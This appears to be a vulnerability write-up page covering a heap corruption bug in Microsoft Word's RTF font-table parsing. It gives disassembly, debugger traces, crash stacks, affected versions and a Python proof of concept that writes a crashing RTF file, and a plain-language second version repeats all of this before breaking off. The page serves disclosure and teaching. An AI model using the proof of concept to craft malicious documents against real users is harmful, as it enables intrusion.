Microsoft Word RTF Font Table Heap Corruption
Microsoft Word's RTF parser in wwlib mishandles font table entries with an excessive number of fonts, causing a sign-extension error that writes a code page value to a negative offset and corrupts the heap. An attacker could deliver a malicious RTF document as an email attachment and, with a crafted heap layout, potentially achieve code execution with the victim's privileges.
Published on qoop.org
A vulnerability within Microsoft Office's wwlib allows attackers to achieve remote code execution with the privileges of the victim that opens a malicious RTF document. The attacker could deliver this file as an email attachment (or other means).
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
What the report shows
Joshua J. Drake found a heap corruption vulnerability in Microsoft Word's RTF parser, inside the wwlib library. A malicious RTF document, delivered for example as an email attachment, could let an attacker run code with the privileges of the user who opens it.
Word handles Rich-Text Format by default. RTF documents are mostly 7-bit ASCII keywords that together describe rich content. The problem appears when the parser processes a font table (\fonttbl) that declares an excessive number of fonts (\f###).
The font id values, the numbers after a \f, are handled by this code:
0d6cf0b6 0fbf0e movsx ecx,word ptr [esi] ; load base idx
0d6cf0b9 0fbf5602 movsx edx,word ptr [esi+2] ; load font idx
0d6cf0bd 8d1451 lea edx,[ecx+edx*2] ; multiply by ~3
0d6cf0c0 668b08 mov cx,word ptr [eax] ; load the codepage value
0d6cf0c3 66894c5604 mov word ptr [esi+edx*2+4],cx ; write the code page
The font id is loaded with movsx, which sign-extends the value and fills the upper bits of edx with ffff. The report's debugger output shows the index calculation at runtime:
*** edx will become: 0x17fc8 (from 0x7fec+0x7fee*2)
*** edx will become: 0x17fc9 (from 0x7fed+0x7fee*2)
*** edx will become: 0x17fde (from 0x7fee+0x7ff8*2)
*** edx will become: 0x17fdf (from 0x7fef+0x7ff8*2)
*** edx will become: 0x17fe0 (from 0x7ff0+0x7ff8*2)
*** edx will become: 0x17fe1 (from 0x7ff1+0x7ff8*2)
*** edx will become: 0x17fe2 (from 0x7ff2+0x7ff8*2)
*** edx will become: 0x17fe3 (from 0x7ff3+0x7ff8*2)
*** edx will become: 0x17fe4 (from 0x7ff4+0x7ff8*2)
*** edx will become: 0x17fe5 (from 0x7ff5+0x7ff8*2)
*** edx will become: 0x17fe6 (from 0x7ff6+0x7ff8*2)
*** edx will become: 0x17fe7 (from 0x7ff7+0x7ff8*2)
*** edx will become: 0xffff7ffc (from 0x7ff8+0xffff8002*2)
The write instruction then stores the font code page at a negative offset from the memory held in esi, corrupting the heap:
*** writing 0x4e4 to 0xd35ddb4 [0xd32de20+0x17fc8*2+4]
*** writing 0x4e4 to 0xd35ddb6 [0xd32de20+0x17fc9*2+4]
*** writing 0x4e4 to 0xd35dde0 [0xd32de20+0x17fde*2+4]
*** writing 0x4e4 to 0xd35dde2 [0xd32de20+0x17fdf*2+4]
*** writing 0x4e4 to 0xd35dde4 [0xd32de20+0x17fe0*2+4]
*** writing 0x4e4 to 0xd35dde6 [0xd32de20+0x17fe1*2+4]
*** writing 0x4e4 to 0xd35dde8 [0xd32de20+0x17fe2*2+4]
*** writing 0x4e4 to 0xd35ddea [0xd32de20+0x17fe3*2+4]
*** writing 0x4e4 to 0xd35ddec [0xd32de20+0x17fe4*2+4]
*** writing 0x4e4 to 0xd35ddee [0xd32de20+0x17fe5*2+4]
*** writing 0x4e4 to 0xd35ddf0 [0xd32de20+0x17fe6*2+4]
*** writing 0x4e4 to 0xd35ddf2 [0xd32de20+0x17fe7*2+4]
*** writing 0x4e4 to 0xd31de1c [0xd32de20+0xffff7ffc*2+4]
After the corruption, further processing takes place. With a properly crafted heap layout, the report says, the corruption can yield arbitrary code execution. In the default run, processing reaches the clean-up code and RtlFreeHeap detects the damage:
Critical error detected c0000374
(3ba8.21f4): WOW64 breakpoint - code 4000001f (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
ntdll_77a40000!RtlReportCriticalFailure+0x4b:
77b27012 cc int 3
0:000:x86> kv
# ChildEBP RetAddr Args to Child
00 008f3834 77b30114 00000001 77b63990 77b2e009 ntdll_77a40000!RtlReportCriticalFailure+0x4b (FPO: [Non-Fpo])
01 008f3840 77b2e009 70dcf286 00000000 1ff78c20 ntdll_77a40000!RtlpReportHeapFailure+0x2f (FPO: [0,0,4])
02 008f3870 77b36480 00000003 00a50000 1ff78c20 ntdll_77a40000!RtlpHpHeapHandleError+0x89 (FPO: [Non-Fpo])
03 008f3888 77b2dd17 1ff78c20 0000000a 00000000 ntdll_77a40000!RtlpLogHeapFailure+0x43 (FPO: [Non-Fpo])
04 008f38ec 77a83f8d 00a50258 70dcf0be 1ff78c20 ntdll_77a40000!RtlpAnalyzeHeapFailure+0x281 (FPO: [Non-Fpo])
05 008f3a48 77ac7b9d 1ff78c20 1ff78c28 1ff78c28 ntdll_77a40000!RtlpFreeHeap+0x24d (FPO: [Non-Fpo])
06 008f3aa4 77a83ce6 00000000 00000000 00000000 ntdll_77a40000!RtlpFreeHeapInternal+0x783 (FPO: [Non-Fpo])
07 008f3ac4 05343c06 00a50000 00000000 1ff78c28 ntdll_77a40000!RtlFreeHeap+0x46 (FPO: [Non-Fpo])
08 008f3adc 06e6e330 1ff78c28 06c8dc6d 08a11040 mso20win32client!Mso::Memory::Free+0x47 (FPO: [Non-Fpo])
09 008f3b0c 0430b5af 08a1104c 08a11040 08a11044 mso!MsoFreePpv+0x84 (FPO: [Non-Fpo])
0a 008f3b28 0430bed0 008f9f0c 008f586c ffffffff wwlib!FreeHribl+0x8c (FPO: [Non-Fpo])
0b 008f3b70 033be323 40280000 00200002 1a772b98 wwlib!PdodCreateRtf+0x243 (FPO: [6,13,4])
0c 008f52bc 02e465db 04012000 20280000 00200002 wwlib!``Osf::SimpleFlight::Details::SetupFlight_String'::`3'::<lambda_1>::operator()'::`2'::`dynamic atexit destructor for 'scopes''+0x1e0966
0d 008f5600 03031155 00000000 ffffffff 00000000 wwlib!PdodCreatePfnCore+0x321 (FPO: [Non-Fpo])
0e 008f5680 0301583a 00000000 ffffffff 00000000 wwlib!PdodCreatePfnBPPaapWithEdpi+0x75 (FPO: [18,3,4])
0f 008f8c4c 030175d4 04012000 00000000 00000002 wwlib!PdodOpenFnmCore2+0xf3b (FPO: [Non-Fpo])
10 008f8d14 03c43d9b 04012000 00000000 00000002 wwlib!PdodOpenFnmCore+0xb9 (FPO: [15,30,0])
11 008f9e40 03c43a92 00000000 00000000 00000002 wwlib!FFileOpenXszCore+0x2f6 (FPO: [Non-Fpo])
12 008f9e7c 0343bd43 00000000 00000000 00000002 wwlib!FFileOpenXstzCore+0x3d (FPO: [6,4,0])
13 008fb31c 02d17666 00000001 00000000 02d17609 wwlib!``Osf::SimpleFlight::Details::SetupFlight_String'::`3'::<lambda_1>::operator()'::`2'::`dynamic atexit destructor for 'scopes''+0x271a8e
14 008fb554 02c594f5 71fc93df 7625f550 0000000a wwlib!Boot::IfrParseCommandLine2+0x5d (FPO: [Non-Fpo])
15 008fb5c8 02c59317 008fb5f8 02c50000 02c58ff4 wwlib!Boot::FRun+0xb4 (FPO: [Non-Fpo])
16 008ff684 02c59058 96c6d88c 000800e4 71fcd0a7 wwlib!FWordBoot+0x5a (FPO: [Non-Fpo])
17 008ff6b8 00dd1917 00dd0000 00000000 0000000a wwlib!FMain+0x64 (FPO: [Non-Fpo])
18 008ff908 00dd114a 00dd0000 00000000 00a54944 winword!WinMain+0x146 (FPO: [Non-Fpo])
19 008ff954 7625fa29 0069a000 7625fa10 008ff9c0 winword!std::_Deallocate<8,0>+0x1e3 (FPO: [Non-Fpo])
1a 008ff964 77aa7bbe 0069a000 70dc3336 00000000 KERNEL32!BaseThreadInitThunk+0x19 (FPO: [Non-Fpo])
1b 008ff9c0 77aa7b8e ffffffff 77ac8d0f 00000000 ntdll_77a40000!__RtlUserThreadStart+0x2f (FPO: [SEH])
1c 008ff9d0 00000000 00dd1000 0069a000 00000000 ntdll_77a40000!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo])
With Page Heap enabled, the out-of-bounds write faults directly:
(afe8.9a5c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
wwlib!FSearchFtcmap+0x150:
0dc1f0c3 66894c5604 mov word ptr [esi+edx*2+4],cx ds:002b:1ebf2fec=????
0:000:x86> kv
# ChildEBP RetAddr Args to Child
00 0135135c 0dc0fa17 013513ec 00000001 013513d8 wwlib!FSearchFtcmap+0x150 (FPO: [Non-Fpo])
01 01353828 0dc0ddb5 ddc5a2cb 0b3d3028 000ad400 wwlib!RtfInRare+0x1845 (FPO: [Non-Fpo])
02 01353c5c 0ef5c473 00000200 0b3d3028 66565a58 wwlib!CchRtfInCore+0x28df (FPO: [Non-Fpo])
03 01353eac 0ef5be04 0b3d302c 0135a294 01355bf4 wwlib!RtfGetChars+0x183 (FPO: [Non-Fpo])
04 01353ef8 0e00e323 40280000 00200002 45646f10 wwlib!PdodCreateRtf+0x177 (FPO: [6,13,4])
05 01355644 0da965db 04012000 20280000 00200002 wwlib!``Osf::SimpleFlight::Details::SetupFlight_String'::`3'::<lambda_1>::operator()'::`2'::`dynamic atexit destructor for 'scopes''+0x1e0966
06 01355988 0dc81155 00000000 ffffffff 00000000 wwlib!PdodCreatePfnCore+0x321 (FPO: [Non-Fpo])
07 01355a08 0dc6583a 00000000 ffffffff 00000000 wwlib!PdodCreatePfnBPPaapWithEdpi+0x75 (FPO: [18,3,4])
08 01358fd4 0dc675d4 04012000 00000000 00000002 wwlib!PdodOpenFnmCore2+0xf3b (FPO: [Non-Fpo])
09 0135909c 0e893d9b 04012000 00000000 00000002 wwlib!PdodOpenFnmCore+0xb9 (FPO: [15,30,0])
0a 0135a1c8 0e893a92 00000000 00000000 00000002 wwlib!FFileOpenXszCore+0x2f6 (FPO: [Non-Fpo])
0b 0135a204 0e08bd43 00000000 00000000 00000002 wwlib!FFileOpenXstzCore+0x3d (FPO: [6,4,0])
0c 0135b6a4 0d967666 00000001 00000000 0d967609 wwlib!``Osf::SimpleFlight::Details::SetupFlight_String'::`3'::<lambda_1>::operator()'::`2'::`dynamic atexit destructor for 'scopes''+0x271a8e
0d 0135b8dc 0d8a94f5 ddc527df 7625f550 0000000a wwlib!Boot::IfrParseCommandLine2+0x5d (FPO: [Non-Fpo])
0e 0135b954 0d8a9317 0135b984 0d8a0000 0d8a8ff4 wwlib!Boot::FRun+0xb4 (FPO: [Non-Fpo])
0f 0135fa10 0d8a9058 cbd5c9e4 00080138 ddc564d3 wwlib!FWordBoot+0x5a (FPO: [Non-Fpo])
10 0135fa44 00dd1917 00dd0000 00000000 0000000a wwlib!FMain+0x64 (FPO: [Non-Fpo])
11 0135fc94 00dd114a 00dd0000 00000000 05e18ff4 winword!WinMain+0x146 (FPO: [Non-Fpo])
12 0135fce0 7625fa29 011cf000 7625fa10 0135fd4c winword!std::_Deallocate<8,0>+0x1e3 (FPO: [Non-Fpo])
13 0135fcf0 77aa7bbe 011cf000 96082e8a 00000000 KERNEL32!BaseThreadInitThunk+0x19 (FPO: [Non-Fpo])
14 0135fd4c 77aa7b8e ffffffff 77ac8d34 00000000 ntdll_77a40000!__RtlUserThreadStart+0x2f (FPO: [SEH])
15 0135fd5c 00000000 00dd1000 011cf000 00000000 ntdll_77a40000!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo])
The report lists these affected versions:
| Product | Build |
|---|---|
| Microsoft Office 365 | Insider Preview 2211 Build 15831.20122 CTR |
| Microsoft Office 2016 | Including Insider Slow, 1704 Build 8067.2032 CTR |
| Microsoft Office 2013 | not stated |
| Microsoft Office 2010 | not stated |
| Microsoft Office 2007 | not stated |
Older versions may also be affected but were not tested, and the report notes that the technical details have evolved over the years.
On mitigations, Office 2010 and later use Protected View for documents from untrusted sources. Protected View is in effect when the bug triggers, so a separate sandbox escape would be needed for full privileges. Removing the RTF file association does not help, because a DOC extension still reaches the vulnerable code.
The proof of concept is a Python script that writes an RTF file with a large font table:
#!/usr/bin/python
#
# PoC for:
# Microsoft Word RTF Font Table Heap Corruption Vulnerability
#
# by Joshua J. Drake (@jduck)
#
import sys
# allow overriding the number of fonts
num = 32761
if len(sys.argv) > 1:
num = int(sys.argv[1])
f = open("tezt.rtf", "wb")
f.write("{\\rtf1{\n{\\fonttbl")
for i in range(num):
f.write("{\\f%dA;}\n" % i)
f.write("}\n")
f.write("{\\rtlch it didn't crash?? no calc?! BOO!!!}\n")
f.write("}}\n")
f.close()
Testing notes: repeated runs with the malformed input trigger Safe Mode and a file-specific block list. To see what a victim would see, flush the Safe Mode flag and the block list before retesting, or decline Safe Mode and click Open Anyway. Heavy breakpoints in WinDbg combined with Page Heap slow startup considerably, and the researcher saw cases where the vulnerable code was not reached, apparently related to Page Heap, heavy breakpoints and a What's new dialog.
The WinDbg script used to produce the output above, with all excerpts taken from Office 365 Insider Preview 2211 Build 15831.20122 CTR:
* clear all breakpoints
bc *
* hide the debugger
e ebx+2 00
* run until wwlib is loaded
xe ld:wwlib
g; wait
* make the breakpoints
* watch index calculations
bp wwlib+0x37f0bd ".printf \"*** edx will become: 0x%x (from 0x%x+0x%x*2)\\n\", (ecx+edx*2), ecx, edx;gc"
* watch the writes
bp wwlib+0x37f0c3 ".printf \"*** writing 0x%x to 0x%x [0x%x+0x%x*2+4] (div 3: 0x%x)\\n\", ecx & 0xffff, (esi+(edx*2)+4), esi, edx, edx/3;gc"
g
Root cause
The report attributes the corruption to the sign-extending load of the font id, which fills the upper bits of edx with ffff. The parser reads the id with a sign-extending load, so a value above the signed 16-bit range becomes negative. That negative value is then used in the index arithmetic and in the address of the write, so the code page is stored outside the intended buffer. The report does not name a specific fix.
Impact
An attacker who convinces a user to open a crafted RTF file, for example as an email attachment, can corrupt Word's heap. The report states that with a properly crafted heap layout this can lead to arbitrary code execution with the victim's privileges. In practice Protected View limits the damage, so a second, sandbox-escape bug would be needed for full privileges.
How this kind of bug works
Heap corruption from an out-of-bounds write happens when a program computes a buffer index from untrusted input without validating it. If the index is signed and the value is sign-extended, a large positive number can turn into a negative offset. The write then lands before the buffer, in heap metadata or in a neighbouring allocation. A single small write can be enough to corrupt allocator structures, and the damage often surfaces later, when the block is freed or reused. Defences include bounds checks on every index derived from input, unsigned arithmetic where negative values make no sense, allocator hardening such as safe unlinking and heap cookies, and Page Heap during testing to turn silent corruption into an immediate fault.
How to test for it
- Identify parsers that read counts, ids or lengths from a file and use them to index arrays: font tables, style tables, colour tables, embedded object lists.
- Craft inputs that push those values to the edges of their type: just below and above the signed 16-bit or 32-bit boundary, and very large counts.
- Open the file under a debugger with Page Heap enabled for the target process, so an out-of-bounds access faults at the instruction that performs it.
- Watch for access violations at write instructions whose address is computed from the input value, and for heap corruption reports at free time.
- Confirm the fault is caused by your input and not by the environment: rerun with a benign file, and with the count reduced.
Common false positives are crashes caused by unrelated malformed fields, faults that only appear with the debugger attached, and heap errors that come from a previous run. A positive result is a reproducible fault whose address depends directly on the value you supplied.
How it is fixed
A fix would need to validate the font id and any derived index against the size of the allocated table before the write, rejecting or clamping out-of-range values. Allocator hardening and compiler mitigations reduce exploitability but do not remove the bug.
Hunting notes
This class of bug tends to hide in legacy file-format parsers, import filters and conversion code, especially where old code paths are still reachable from modern documents. Recon signals include file types that reach the same parser through several extensions, as the report notes for RTF and DOC, and code paths that are only exercised on open. To get a report accepted, show a minimal file that triggers the fault, the faulting instruction and the input value that controls the address, and explain the path from opening the document to the corruption. If the vendor runs the parser in a sandbox, say so and describe the impact within it.
What happened, in plain words
Joshua J. Drake found a bug in Microsoft Word, the word processor that comes with Microsoft Office. Word can open documents in a format called Rich-Text Format (RTF), a plain-text way of describing formatted documents. A crafted RTF file, delivered for example as an email attachment, could make Word misbehave in a way that lets an attacker run their own code with the same rights as the person who opens the file.
The bug lives in a part of Word called wwlib, which handles RTF files. RTF files are mostly ordinary ASCII text made of keywords, and one of those keywords describes the fonts used in the document. That list of fonts is called the font table (\fonttbl), and each font in it gets a number written after a \f, such as \f0 or \f1. The problem appears when the font table declares far too many fonts.
To understand the failure, picture a row of numbered lockers. Word works out which locker to put something in by doing arithmetic on the font number. If the number is large enough, the arithmetic goes wrong and Word writes to a spot outside the row, into memory that belongs to something else. That is what security people call a heap corruption: the heap is the pool of memory a program borrows for its data, and corrupting it means damaging the bookkeeping of that pool.
The report shows the exact machine instructions involved:
0d6cf0b6 0fbf0e movsx ecx,word ptr [esi] ; load base idx
0d6cf0b9 0fbf5602 movsx edx,word ptr [esi+2] ; load font idx
0d6cf0bd 8d1451 lea edx,[ecx+edx*2] ; multiply by ~3
0d6cf0c0 668b08 mov cx,word ptr [eax] ; load the codepage value
0d6cf0c3 66894c5604 mov word ptr [esi+edx*2+4],cx ; write the code page
Line by line: the first two lines load two small numbers from memory into registers (fast storage inside the processor), using an instruction called movsx that copies the number and fills the upper bits with ffff if the number is negative. The third line multiplies one of them by about three. The fourth line loads a code page value, a number that says which character set a font uses. The last line writes that value into memory at an address calculated from the font number. That last line is where the damage happens.
The report's debugger output shows the arithmetic at runtime:
*** edx will become: 0x17fc8 (from 0x7fec+0x7fee*2)
*** edx will become: 0x17fc9 (from 0x7fed+0x7fee*2)
*** edx will become: 0x17fde (from 0x7fee+0x7ff8*2)
*** edx will become: 0x17fdf (from 0x7fef+0x7ff8*2)
*** edx will become: 0x17fe0 (from 0x7ff0+0x7ff8*2)
*** edx will become: 0x17fe1 (from 0x7ff1+0x7ff8*2)
*** edx will become: 0x17fe2 (from 0x7ff2+0x7ff8*2)
*** edx will become: 0x17fe3 (from 0x7ff3+0x7ff8*2)
*** edx will become: 0x17fe4 (from 0x7ff4+0x7ff8*2)
*** edx will become: 0x17fe5 (from 0x7ff5+0x7ff8*2)
*** edx will become: 0x17fe6 (from 0x7ff6+0x7ff8*2)
*** edx will become: 0x17fe7 (from 0x7ff7+0x7ff8*2)
*** edx will become: 0xffff7ffc (from 0x7ff8+0xffff8002*2)
Most lines show ordinary small results. The last line is the odd one: a font number of 0x7ff8 combined with 0xffff8002 produces 0xffff7ffc, a huge value that, treated as a signed number, is negative. That negative number is then used as an offset, so the write lands before the intended memory rather than after it:
*** writing 0x4e4 to 0xd35ddb4 [0xd32de20+0x17fc8*2+4]
*** writing 0x4e4 to 0xd35ddb6 [0xd32de20+0x17fc9*2+4]
*** writing 0x4e4 to 0xd35dde0 [0xd32de20+0x17fde*2+4]
*** writing 0x4e4 to 0xd35dde2 [0xd32de20+0x17fdf*2+4]
*** writing 0x4e4 to 0xd35dde4 [0xd32de20+0x17fe0*2+4]
*** writing 0x4e4 to 0xd35dde6 [0xd32de20+0x17fe1*2+4]
*** writing 0x4e4 to 0xd35dde8 [0xd32de20+0x17fe2*2+4]
*** writing 0x4e4 to 0xd35ddea [0xd32de20+0x17fe3*2+4]
*** writing 0x4e4 to 0xd35ddec [0xd32de20+0x17fe4*2+4]
*** writing 0x4e4 to 0xd35ddee [0xd32de20+0x17fe5*2+4]
*** writing 0x4e4 to 0xd35ddf0 [0xd32de20+0x17fe6*2+4]
*** writing 0x4e4 to 0xd35ddf2 [0xd32de20+0x17fe7*2+4]
*** writing 0x4e4 to 0xd31de1c [0xd32de20+0xffff7ffc*2+4]
Each line records a write of the value 0x4e4 to an address. The last line's address is far away from the others, which is the out-of-bounds write. After that, Word keeps processing. The report says that with a properly crafted heap layout, this corruption can lead to arbitrary code execution, meaning the attacker's code runs inside Word.
In the default run, Word eventually reaches its clean-up code, and the memory manager notices the damage:
Critical error detected c0000374
(3ba8.21f4): WOW64 breakpoint - code 4000001f (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
ntdll_77a40000!RtlReportCriticalFailure+0x4b:
77b27012 cc int 3
0:000:x86> kv
# ChildEBP RetAddr Args to Child
00 008f3834 77b30114 00000001 77b63990 77b2e009 ntdll_77a40000!RtlReportCriticalFailure+0x4b (FPO: [Non-Fpo])
01 008f3840 77b2e009 70dcf286 00000000 1ff78c20 ntdll_77a40000!RtlpReportHeapFailure+0x2f (FPO: [0,0,4])
02 008f3870 77b36480 00000003 00a50000 1ff78c20 ntdll_77a40000!RtlpHpHeapHandleError+0x89 (FPO: [Non-Fpo])
03 008f3888 77b2dd17 1ff78c20 0000000a 00000000 ntdll_77a40000!RtlpLogHeapFailure+0x43 (FPO: [Non-Fpo])
04 008f38ec 77a83f8d 00a50258 70dcf0be 1ff78c20 ntdll_77a40000!RtlpAnalyzeHeapFailure+0x281 (FPO: [Non-Fpo])
05 008f3a48 77ac7b9d 1ff78c20 1ff78c28 1ff78c28 ntdll_77a40000!RtlpFreeHeap+0x24d (FPO: [Non-Fpo])
06 008f3aa4 77a83ce6 00000000 00000000 00000000 ntdll_77a40000!RtlpFreeHeapInternal+0x783 (FPO: [Non-Fpo])
07 008f3ac4 05343c06 00a50000 00000000 1ff78c28 ntdll_77a40000!RtlFreeHeap+0x46 (FPO: [Non-Fpo])
08 008f3adc 06e6e330 1ff78c28 06c8dc6d 08a11040 mso20win32client!Mso::Memory::Free+0x47 (FPO: [Non-Fpo])
09 008f3b0c 0430b5af 08a1104c 08a11040 08a11044 mso!MsoFreePpv+0x84 (FPO: [Non-Fpo])
0a 008f3b28 0430bed0 008f9f0c 008f586c ffffffff wwlib!FreeHribl+0x8c (FPO: [Non-Fpo])
0b 008f3b70 033be323 40280000 00200002 1a772b98 wwlib!PdodCreateRtf+0x243 (FPO: [6,13,4])
0c 008f52bc 02e465db 04012000 20280000 00200002 wwlib!``Osf::SimpleFlight::Details::SetupFlight_String'::`3'::<lambda_1>::operator()'::`2'::`dynamic atexit destructor for 'scopes''+0x1e0966
0d 008f5600 03031155 00000000 ffffffff 00000000 wwlib!PdodCreatePfnCore+0x321 (FPO: [Non-Fpo])
0e 008f5680 0301583a 00000000 ffffffff 00000000 wwlib!PdodCreatePfnBPPaapWithEdpi+0x75 (FPO: [18,3,4])
0f 008f8c4c 030175d4 04012000 00000000 00000002 wwlib!PdodOpenFnmCore2+0xf3b (FPO: [Non-Fpo])
10 008f8d14 03c43d9b 04012000 00000000 00000002 wwlib!PdodOpenFnmCore+0xb9 (FPO: [15,30,0])
11 008f9e40 03c43a92 00000000 00000000 00000002 wwlib!FFileOpenXszCore+0x2f6 (FPO: [Non-Fpo])
12 008f9e7c 0343bd43 00000000 00000000 00000002 wwlib!FFileOpenXstzCore+0x3d (FPO: [6,4,0])
13 008fb31c 02d17666 00000001 00000000 02d17609 wwlib!``Osf::SimpleFlight::Details::SetupFlight_String'::`3'::<lambda_1>::operator()'::`2'::`dynamic atexit destructor for 'scopes''+0x271a8e
14 008fb554 02c594f5 71fc93df 7625f550 0000000a wwlib!Boot::IfrParseCommandLine2+0x5d (FPO: [Non-Fpo])
15 008fb5c8 02c59317 008fb5f8 02c50000 02c58ff4 wwlib!Boot::FRun+0xb4 (FPO: [Non-Fpo])
16 008ff684 02c59058 96c6d88c 000800e4 71fcd0a7 wwlib!FWordBoot+0x5a (FPO: [Non-Fpo])
17 008ff6b8 00dd1917 00dd0000 00000000 0000000a wwlib!FMain+0x64 (FPO: [Non-Fpo])
18 008ff908 00dd114a 00dd0000 00000000 00a54944 winword!WinMain+0x146 (FPO: [Non-Fpo])
19 008ff954 7625fa29 0069a000 7625fa10 008ff9c0 winword!std::_Deallocate<8,0>+0x1e3 (FPO: [Non-Fpo])
1a 008ff964 77aa7bbe 0069a000 70dc3336 00000000 KERNEL32!BaseThreadInitThunk+0x19 (FPO: [Non-Fpo])
1b 008ff9c0 77aa7b8e ffffffff 77ac8d0f 00000000 ntdll_77a40000!__RtlUserThreadStart+0x2f (FPO: [SEH])
1c 008ff9d0 00000000 00dd1000 0069a000 00000000 ntdll_77a40000!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo])
The first line is the memory manager reporting a critical error. The kv command asks the debugger to show the chain of function calls that led there, from the memory-freeing routine RtlFreeHeap back up through Word's own code. This matters because it proves the corruption was detected when Word tried to release the damaged memory, not by accident.
With a testing feature called Page Heap enabled, which places guard pages around memory so that any out-of-bounds access is caught immediately, the bad write faults at the exact instruction:
(afe8.9a5c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
wwlib!FSearchFtcmap+0x150:
0dc1f0c3 66894c5604 mov word ptr [esi+edx*2+4],cx ds:002b:1ebf2fec=????
0:000:x86> kv
# ChildEBP RetAddr Args to Child
00 0135135c 0dc0fa17 013513ec 00000001 013513d8 wwlib!FSearchFtcmap+0x150 (FPO: [Non-Fpo])
01 01353828 0dc0ddb5 ddc5a2cb 0b3d3028 000ad400 wwlib!RtfInRare+0x1845 (FPO: [Non-Fpo])
02 01353c5c 0ef5c473 00000200 0b3d3028 66565a58 wwlib!CchRtfInCore+0x28df (FPO: [Non-Fpo])
03 01353eac 0ef5be04 0b3d302c 0135a294 01355bf4 wwlib!RtfGetChars+0x183 (FPO: [Non-Fpo])
04 01353ef8 0e00e323 40280000 00200002 45646f10 wwlib!PdodCreateRtf+0x177 (FPO: [6,13,4])
05 01355644 0da965db 04012000 20280000 00200002 wwlib!``Osf::SimpleFlight::Details::SetupFlight_String'::`3'::<lambda_1>::operator()'::`2'::`dynamic atexit destructor for 'scopes''+0x1e0966
06 01355988 0dc81155 00000000 ffffffff 00000000 wwlib!PdodCreatePfnCore+0x321 (FPO: [Non-Fpo])
07 01355a08 0dc6583a 00000000 ffffffff 00000000 wwlib!PdodCreatePfnBPPaapWithEdpi+0x75 (FPO: [18,3,4])
08 01358fd4 0dc675d4 04012000 00000000 00000002 wwlib!PdodOpenFnmCore2+0xf3b (FPO: [Non-Fpo])
09 0135909c 0e893d9b 04012000 00000000 00000002 wwlib!PdodOpenFnmCore+0xb9 (FPO: [15,30,0])
0a 0135a1c8 0e893a92 00000000 00000000 00000002 wwlib!FFileOpenXszCore+0x2f6 (FPO: [Non-Fpo])
0b 0135a204 0e08bd43 00000000 00000000 00000002 wwlib!FFileOpenXstzCore+0x3d (FPO: [6,4,0])
0c 0135b6a4 0d967666 00000001 00000000 0d967609 wwlib!``Osf::SimpleFlight::Details::SetupFlight_String'::`3'::<lambda_1>::operator()'::`2'::`dynamic atexit destructor for 'scopes''+0x271a8e
0d 0135b8dc 0d8a94f5 ddc527df 7625f550 0000000a wwlib!Boot::IfrParseCommandLine2+0x5d (FPO: [Non-Fpo])
0e 0135b954 0d8a9317 0135b984 0d8a0000 0d8a8ff4 wwlib!Boot::FRun+0xb4 (FPO: [Non-Fpo])
0f 0135fa10 0d8a9058 cbd5c9e4 00080138 ddc564d3 wwlib!FWordBoot+0x5a (FPO: [Non-Fpo])
10 0135fa44 00dd1917 00dd0000 00000000 0000000a wwlib!FMain+0x64 (FPO: [Non-Fpo])
11 0135fc94 00dd114a 00dd0000 00000000 05e18ff4 winword!WinMain+0x146 (FPO: [Non-Fpo])
12 0135fce0 7625fa29 011cf000 7625fa10 0135fd4c winword!std::_Deallocate<8,0>+0x1e3 (FPO: [Non-Fpo])
13 0135fcf0 77aa7bbe 011cf000 96082e8a 00000000 KERNEL32!BaseThreadInitThunk+0x19 (FPO: [Non-Fpo])
14 0135fd4c 77aa7b8e ffffffff 77ac8d34 00000000 ntdll_77a40000!__RtlUserThreadStart+0x2f (FPO: [SEH])
15 0135fd5c 00000000 00dd1000 011cf000 00000000 ntdll_77a40000!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo])
Here the faulting instruction is the same write, and the address it tried to reach is marked as unreadable (????). The call chain shows the path from opening the file through the RTF parsing functions down to the write.
The report lists these affected versions:
| Product | Build |
|---|---|
| Microsoft Office 365 | Insider Preview 2211 Build 15831.20122 CTR |
| Microsoft Office 2016 | Including Insider Slow, 1704 Build 8067.2032 CTR |
| Microsoft Office 2013 | not stated |
| Microsoft Office 2010 | not stated |
| Microsoft Office 2007 | not stated |
Older versions may also be affected but were not tested, and the report notes that the technical details have evolved over the years.
On mitigations, Office 2010 and later use Protected View for documents from untrusted sources. Protected View is a restricted mode that opens a document in a limited environment, like reading a letter through a thick pane of glass. It is in effect when this bug triggers, so a separate sandbox escape would be needed for full privileges. Removing the RTF file association does not help, because a DOC extension still reaches the vulnerable code.
The proof of concept is a Python script that writes an RTF file with a large font table:
#!/usr/bin/python
#
# PoC for:
# Microsoft Word RTF Font Table Heap Corruption Vulnerability
#
# by Joshua J. Drake (@jduck)
#
import sys
# allow overriding the number of fonts
num = 32761
if len(sys.argv) > 1:
num = int(sys.argv[1])
f = open("tezt.rtf", "wb")
f.write("{\\\\rtf1{\\n{\\\\fonttbl")
for i in range(num):
f.write("{\\\\f%dA;}\\n" % i)
f.write("}\\n")
f.write("{\\\\rtlch it didn't crash?? no calc?! BOO!!!}\\n")
f.write("}}\\n")
f.close()
The script sets num to 32761 fonts by default, or takes a number from the command line. It opens a file called tezt.rtf for writing, writes the RTF header and the start of the font table, then loops num times writing one font entry per line, each with an increasing number. It closes the table and adds a line of text, then closes the file. The font numbers written into the table are what push the arithmetic past the point where it goes wrong.
Testing notes: repeated runs with the malformed input trigger Safe Mode, a restricted startup mode Word uses after a crash, and a file-specific block list. To see what a victim would see, flush the Safe Mode flag and the block list before retesting, or decline Safe Mode and click Open Anyway. Heavy breakpoints in WinDbg, a debugger, combined with Page Heap slow startup considerably, and the researcher saw cases where the vulnerable code was not reached, apparently related to Page Heap, heavy breakpoints and a What's new dialog.
The WinDbg script used to produce the output above, with all excerpts taken from Office 365 Insider Preview 2211 Build 15831.20122 CTR:
* clear all breakpoints
bc *
* hide the debugger
e ebx+2 00
* run until wwlib is loaded
xe ld:wwlib
g; wait
* make the breakpoints
* watch index calculations
bp wwlib+0x37f0bd ".printf \"*** edx will become: 0x%x (from 0x%x+0x%x*2)\\n\", (ecx+edx*2), ecx, edx;gc"
* watch the writes
